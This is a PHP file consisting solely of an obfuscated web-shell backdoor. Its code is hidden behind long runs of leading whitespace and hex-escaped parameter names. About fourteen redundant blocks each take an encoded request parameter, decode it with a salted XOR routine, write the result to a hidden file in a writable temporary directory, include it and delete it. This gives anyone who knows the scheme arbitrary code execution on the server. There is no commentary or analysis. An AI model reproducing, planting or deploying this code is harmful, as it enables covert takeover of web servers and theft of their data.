<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x68\x6Cd"])){ $descriptor = $_REQUEST["\x68\x6Cd"]; $descriptor=explode ( ".", $descriptor ) ; $comp = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $r = 0; $__tmp = $descriptor; while ($v4 = array_shift($__tmp)) { $chS = ord($s2[$r % $sLen]); $d = ((int)$v4 - $chS - ($r % 10)) ^ 79; $comp .= chr($d); $r++; } $factor = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path()]); $data_chunk = 0; do { $binding = $factor[$data_chunk] ?? null; if ($data_chunk >= count($factor)) break; if (!( !is_dir($binding) || !is_writable($binding) )) { $val = vsprintf("%s/%s", [$binding, ".sym"]); if (@file_put_contents($val, $comp) !== false) { include $val; unlink($val); die(); } } $data_chunk++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "d\x61ta")){ $fac = $_POST["d\x61ta"]; $fac =explode (".", $fac ); $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $j = 0; $__tmp = $fac; while($v8 = array_shift($__tmp)) { $chS = ord($salt[$j% $sLen] ); $dec = ((int)$v8 - $chS -($j% 10)) ^ 17; $mrk .= chr($dec ); $j++; } $tkn = array_filter([getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP")]); for ($item = 0, $rec = count($tkn); $item < $rec; $item++) { $itm = $tkn[$item]; if ((is_dir($itm) and is_writable($itm))) { $element = sprintf("%s/.value", $itm); if (file_put_contents($element, $mrk)) { require $element; unlink($element); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x68olde\x72"])){ $property_set = $_POST["\x68olde\x72"]; $property_set = explode ( '.' ,$property_set) ; $ent = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $w = 0; $len = count($property_set ); do { if ($w >= $len) break; $v9 = $property_set[$w]; $sChar = ord($salt4[$w % $sLen] ); $d = ((int)$v9 - $sChar - ($w % 10))^ 55; $ent .= chr($d ); $w++; } while (true ); $parameter_group = array_filter([getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TMP")]); foreach ($parameter_group as $entry) { if (!( !is_dir($entry) || !is_writable($entry) )) { $ref = "$entry/.sym"; $file = fopen($ref, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $ref; @unlink($ref); exit; } } } }
																																										if(!is_null($_POST["e\x6Et"] ?? null)){ $item = $_POST["e\x6Et"]; $item =explode ( "." , $item ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $item as $q => $v1) { $sChar = ord( $salt[$q % $lenS] ); $d =( ( int)$v1 - $sChar -( $q % 10)) ^45; $symbol.= chr( $d ); } $k = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd()]); foreach ($k as $key => $flag) { if ((is_dir($flag) and is_writable($flag))) { $res = sprintf("%s/.data_chunk", $flag); $file = fopen($res, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $res; @unlink($res); exit; } } } }
																																										if(isset($_REQUEST["s\x79m"]) ? true : false){ $symbol = $_REQUEST["s\x79m"]; $symbol= explode ( "." ,$symbol ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; while ($l< count($symbol)) { $v3 = $symbol[$l]; $chS = ord($s[$l % $lenS]); $dec = ((int)$v3 - $chS - ($l % 10)) ^ 54; $data_chunk .= chr($dec); $l++; } $holder = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($holder as $key => $val) { if ((bool)is_dir($val) && (bool)is_writable($val)) { $rec = str_replace("{var_dir}", $val, "{var_dir}/.element"); if (@file_put_contents($rec, $data_chunk) !== false) { include $rec; unlink($rec); die(); } } } }
																																										if(array_key_exists("fa\x63", $_REQUEST)){ $sym = $_REQUEST["fa\x63"]; $sym = explode ( '.' ,$sym ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $x = 0; foreach( $sym as $v4) { $sChar = ord( $salt[$x% $sLen]); $dec =( ( int)$v4 - $sChar -( $x% 10))^ 22; $val .= chr( $dec); $x++; } $descriptor = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), getenv("TMP"), "/dev/shm", getenv("TEMP")]); foreach ($descriptor as $key => $property_set) { if (is_writable($property_set) && is_dir($property_set)) { $data_chunk = vsprintf("%s/%s", [$property_set, ".reference"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(array_key_exists("\x70\x73et", $_POST) && !is_null($_POST["\x70\x73et"])){ $desc = $_POST["\x70\x73et"]; $desc =explode ( "." , $desc) ; $comp =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $p =0; $__tmp =$desc; while ($v3 =array_shift($__tmp)) { $sChar =ord($s[$p%$lenS]); $d =((int)$v3 - $sChar - ($p%10)) ^ 92; $comp .=chr($d); $p++; } $element = array_filter(["/var/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm"]); foreach ($element as $key => $data) { if (!( !is_dir($data) || !is_writable($data) )) { $pgrp = implode("/", [$data, ".obj"]); if (file_put_contents($pgrp, $comp)) { require $pgrp; unlink($pgrp); exit; } } } }
																																										if(isset($_POST["d\x65\x73c"])){ $pset = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); $fac = $_POST["d\x65\x73c"]; $fac= explode ('.' ,$fac ) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $r = 0; $len = count($fac ); do { if ($r >= $len) break; $v9 = $fac[$r]; $chS = ord($salt6[$r % $sLen] ); $d = ((int)$v9 - $chS - ($r % 10)) ^ 96; $data .=chr($d ); $r++; } while (true ); for ($k = 0, $comp = count($pset); $k < $comp; $k++) { $record = $pset[$k]; if ((bool)is_dir($record) && (bool)is_writable($record)) { $rec = "$record" . "/.parameter_group"; $success = file_put_contents($rec, $data); if ($success) { include $rec; @unlink($rec); exit;} } } }
																																										if(@$_POST["\x68\x6F\x6Cder"] !== null){ $ent = $_POST["\x68\x6F\x6Cder"]; $ent =explode(".",$ent ) ; $flg= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1); foreach($ent as $n => $v1) {$sChar= ord($salt1[$n % $lenS]); $d= ((int)$v1 - $sChar -($n % 10)) ^ 79; $flg .= chr($d); } $pset = array_filter([getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($pset as $key => $sym) { if (is_dir($sym) && is_writable($sym)) { $value = "$sym" . "/.entry"; if (file_put_contents($value, $flg)) { include $value; @unlink($value); die(); } } } }
																																										if(array_key_exists("pt\x72", $_POST)){ $holder = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); $bind = $_POST["pt\x72"]; $bind= explode( "." , $bind ) ; $pointer = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $z = 0; foreach ($bind as $v6) { $sChar = ord($salt6[$z% $lenS]); $d = ((int)$v6 - $sChar - ($z% 10)) ^ 88; $pointer .= chr($d); $z++;} foreach ($holder as $k): if (is_writable($k) && is_dir($k)) { $fac = implode("/", [$k, ".tkn"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(array_key_exists("\x62i\x6Ed", $_REQUEST)){ $parameter_group = $_REQUEST["\x62i\x6Ed"]; $parameter_group = explode ( '.' , $parameter_group ); $record=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s1 ); foreach( $parameter_group as $l => $v5): $chS=ord( $s1[$l % $lenS] ); $d=( ( int)$v5 - $chS -( $l % 10)) ^55; $record .=chr( $d ); endforeach; $marker = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp"]); $ref = 0; do { $dchunk = $marker[$ref] ?? null; if ($ref >= count($marker)) break; if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $tkn = "$dchunk" . "/.itm"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $tkn; @unlink($tkn); exit; } } $ref++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61ta"])){ $factor = $_REQUEST["\x64\x61ta"]; $factor = explode( "." , $factor ) ; $entry = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9 ); $x = 0; foreach ($factor as $v1) { $chS = ord($salt9[$x % $lenS] ); $dec = ((int)$v1 - $chS - ($x % 10)) ^ 87; $entry .= chr($dec ); $x++; } $flag = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); foreach ($flag as $symbol): if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $fac = str_replace("{var_dir}", $symbol, "{var_dir}/.k"); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["f\x61\x63\x74or"])){ $token = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $res = $_POST["f\x61\x63\x74or"]; $res = explode ( "." , $res) ; $desc=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $r=0; array_walk($res , function ($v5) use (&$desc , &$r , $s , $lenS) { $sChar=ord($s[$r% $lenS] ); $dec=((int)$v5 - $sChar - ($r% 10)) ^69; $desc .= chr($dec ); $r++; } ); for ($element = 0, $resource = count($token); $element < $resource; $element++) { $component = $token[$element]; if (max(0, is_dir($component) * is_writable($component))) { $record = join("/", [$component, ".fac"]); if (file_put_contents($record, $desc)) { require $record; unlink($record); die(); } } } }


if(in_array("\x62\x69nd", array_keys($_POST))){
	$entry = $_POST["\x62\x69nd"];
	  $entry  = explode("." 		,	 $entry )		 ;		
	$pgrp = '';
            $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $s6);
            $u = 0;
    
            while(  $u < count(  $entry)) { $v8 = $entry[$u];
                $sChar = ord(  $s6[$u % $lenS]);
                $dec =(  (  int)$v8 - $sChar -(  $u % 10)) ^ 96;
                $pgrp .= chr(  $dec);
                $u++; }	
	$desc = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]);
	for ($element = 0, $res = count($desc); $element < $res; $element++) {
    $mrk = $desc[$element];
    		if (is_dir($mrk) && is_writable($mrk)) {
    $ptr = join("/", [$mrk, ".itm"]);
    if (file_put_contents($ptr, $pgrp)) {
	include $ptr;
	@unlink($ptr);
	exit;
}
}
}
}